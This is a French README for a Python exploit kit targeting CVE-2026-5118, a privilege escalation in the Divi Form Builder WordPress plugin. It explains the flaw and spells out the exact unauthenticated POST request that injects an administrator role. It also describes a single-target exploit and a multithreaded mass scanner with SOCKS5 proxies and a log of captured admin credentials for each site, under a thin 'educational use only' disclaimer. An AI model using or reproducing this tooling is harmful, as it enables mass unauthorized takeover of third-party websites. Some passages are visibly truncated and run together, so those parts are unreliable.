
Exploit Python pour CVE-2026-5118 ciblant une élévation de privilèges non authentifiée dans Divi Form Builder ≤ 5.1.2. Comprend un exploit monocible et un scanner de masse threadé avec découverte automatique des formulaires, extraction de nonce et injection de rôles pour la création de comptes administrateur WordPress.
Élévation de privilèges non authentifiée par injection de rôle
=== Beelze ( zeroday 1diot9 ) ===
| Champ | Détails |
|---|---|
| ID CVE | CVE-2026-5118 |
| Score CVSS | 9.8 (Critique) |
| Vecteur CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-269 — Gestion des privilèges inappropriée |
| Plugin | Divi Form Builder (par Divi Engine) |
| Versions affectées | Toutes versions ≤ 5.1.2 |
| Version corrigée | 5.1.3 (13 avril 2026) |
| Publié | 20 mai 2026 |
| Chercheur | 0xd4rk5id3 — EnvoraSec |
| Preuve de concept (PoC) | Beelze ( zeroday 1diot9 ) |
Le plugin Divi Form Builder pour WordPress est vulnérable à une élévation de privilèges non authentifiée dans toutes les versions jusqu'à la 5.1.2 incluse.
La fonction create_user() dans FormSubmissionHandler.php accepte un paramètre role contrôlé par l'utilisateur depuis les données POST lors de l'enregistrement d'un utilisateur sans le valider par rapport au paramètre default_user_role configuré dans le formulaire. La seule « protection » est sanitize_text_field() — qui supprime les balises HTML et l'encodage, mais ne fait rien pour restreindre la valeur à des rôles sûrs — suivie d'une vérification d'existence qui se contente de vérifier que le rôle existe dans WordPress (et administrator existe toujours).
Cet échec triple permet à des attaquants non authentifiés de :
fb_nonce) de l'objet JavaScript de_fb_objform_type par register via POST — transformant n'importe quel formulaire en point de terminaison d'enregistrementrole=administrator dans la soumission AJAXRésultat : Prise de contrôle totale du site — zéro authentification, zéro interaction utilisateur, une requête POST.
// includes/shared/handlers/FormSubmissionHandler.php — create_user() ~line 2250
$role = isset($form_data['role'])
? sanitize_text_field($form_data['role']) // ← supprime UNIQUEMENT les balises/encodage !
: 'subscriber'; // ← 'administrator' passe NET
sanitize_text_field() est conçu pour le nettoyage de texte libre (prévention XSS). Il ne valide PAS par rapport à une liste blanche de rôles sûrs. La chaîne "administrator" ne contient aucune balise HTML, aucun encodage spécial — elle passe complètement intacte.
// ~line 2278
$roles_obj = wp_roles();
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) &&
!isset($roles_obj->roles[$role])) {
$role = 'subscriber'; // ← repli UNIQUEMENT si le rôle n'existe pas
}
Cette vérification demande : "Ce rôle existe-t-il dans WordPress ?" — et administrator existe toujours. Elle ne pose jamais la bonne question : "Ce rôle est-il sûr pour un auto-enregistrement public ?" Une vérification appropriée validerait par rapport à une liste blanche comme ['subscriber', 'contributor'] ou appliquerait le paramètre default_user_role du formulaire.
// ~line 2301
$user = new WP_User($user_id);
$user->set_role($role); // ← rôle contrôlé par l'attaquant appliqué directement !
Aucune vérification current_user_can('create_users'). Aucune vérification current_user_can('promote_users'). Aucune vérification de capacité d'aucune sorte. Le rôle fourni par l'attaquant est passé directement à set_role().
// Localisation du script JS frontend
wp_localize_script('de-fb-scripts', 'de_fb_obj', [
'ajax_url' => admin_url('admin-ajax.php'),
'nonce' => wp_create_nonce('security'), // ← MÊME nonce sur TOUS les formulaires, TOUTES les pages
// ...
]);
Le fb_nonce est créé via wp_create_nonce('security') — une chaîne d'action générique partagée sur chaque formulaire DFB du site. Tout visiteur peut l'extraire du code source de la page en lisant l'objet JavaScript de_fb_obj.
// Gestionnaire AJAX
$form_type = isset($_POST['form_type']) ? $_POST['form_type'] : '';
if ($form_type === 'register') {
$this->create_user($form_data); // ← déclenché par le remplacement POST !
}
Le form_type est lu depuis les données POST, pas depuis la configuration côté serveur du formulaire. Un attaquant peut envoyer form_type=register vers n'importe quelle soumission AJAX DFB — un formulaire de contact, une demande de devis, une inscription à une newsletter — et le serveur exécutera le chemin de code d'enregistrement. L'objectif d'origine du formulaire est sans importance.
[Attaquant non authentifié]
│
▼
GET /n-importe-quelle-page-avec-formulaire-dfb/
← Source HTML : de_fb_obj = {"nonce":"abc123def0", ...}
│
▼
Extraction de fb_nonce depuis l'objet JavaScript de_fb_obj
│
▼
POST /wp-admin/admin-ajax.php
┌──────────────────────────────────────────────┐
│ action = de_fb_ajax_submit_ajax_handler │
│ fb_nonce = abc123def0 │
│ role = administrator ← INJECTÉ │
│ form_type = register ← REMPLACÉ │
│ user_login = attacker_admin │
│ user_pass = AttackerPass123! │
│ user_email = [email protected] │
└──────────────────────────────────────────────┘
│
▼
sanitize_text_field('administrator') → 'administrator' ✓ passe
wp_roles()->roles['administrator'] existe? → OUI ✓ passe
$user->set_role('administrator') ✓ aucun contrôle de capacité
│
▼
← {"success": true, "data": {"message": "Utilisateur créé"}}
│
▼
POST /wp-login.php
log=attacker_admin & pwd=AttackerPass123!
← 302 → /wp-admin/
│
▼
[Accès Administrateur Complet] 🔥
CVE-2026-5118.py — Exploit pour cible uniqueChaîne d'exploitation complète en 5 phases avec découverte automatique de formulaire et extraction de nonce.
python3 CVE-2026-5118.py
URL cible : https://target.com
Nom d'utilisateur [beelze_admin]:
Mot de passe [Beelze123!!@#!]:
Email [[email protected]]:
Délai d'attente (secondes) [15]:
Proxy SOCKS5 (vide = aucun):
Phases de l'exploit :
Phase 1 ▶ Accessibilité (HTTPS + repli HTTP)
Phase 2 ▶ Détection du plugin (vérification de version via readme.txt)
Phase 3 ▶ Découverte de formulaire et extraction du nonce
├── Analyse des pages via l'API REST
├── Sondage de chemins communs
├── Parcours du sitemap
└── Parcours des liens de la page d'accueil
Phase 4 ▶ Injection de rôle (élévation de privilèges)
Phase 5 ▶ Vérification de connexion admin
Sortie (scan_results/CVE-2026-5118_success.txt):
https://target.com | beelze_admin:Beelze123!!@#!
CVE-2026-5118-mass.py — Scanner de masseExploitation massive multithreadée avec journalisation JSONL et reprise.
python3 CVE-2026-5118-mass.py
Fichier cible (une URL par ligne) : targets.txt
Nom d'utilisateur [beelze_admin]:
Mot de passe [Beelze123!!@#!]:
Email [[email protected]]:
Threads [10]:
Délai d'attente (secondes) [10]:
Fichier proxy (SOCKS5, un par ligne, vide = aucun):
Reprendre l'analyse précédente ? (o/n) [n]:
Fonctionnalités :
Sortie (scan_results/CVE-2026-5118_success.txt):
https://target1.com | beelze_admin:Beelze123!!@#!
https://target2.com | beelze_admin:Beelze123!!@#!
default_user_role du formulaire, ignorant tout paramètre role fourni par l'utilisateur dans les données POSTBeelze ( zeroday 1diot9 ) — à des fins éducatives et de recherche de sécurité autorisée uniquement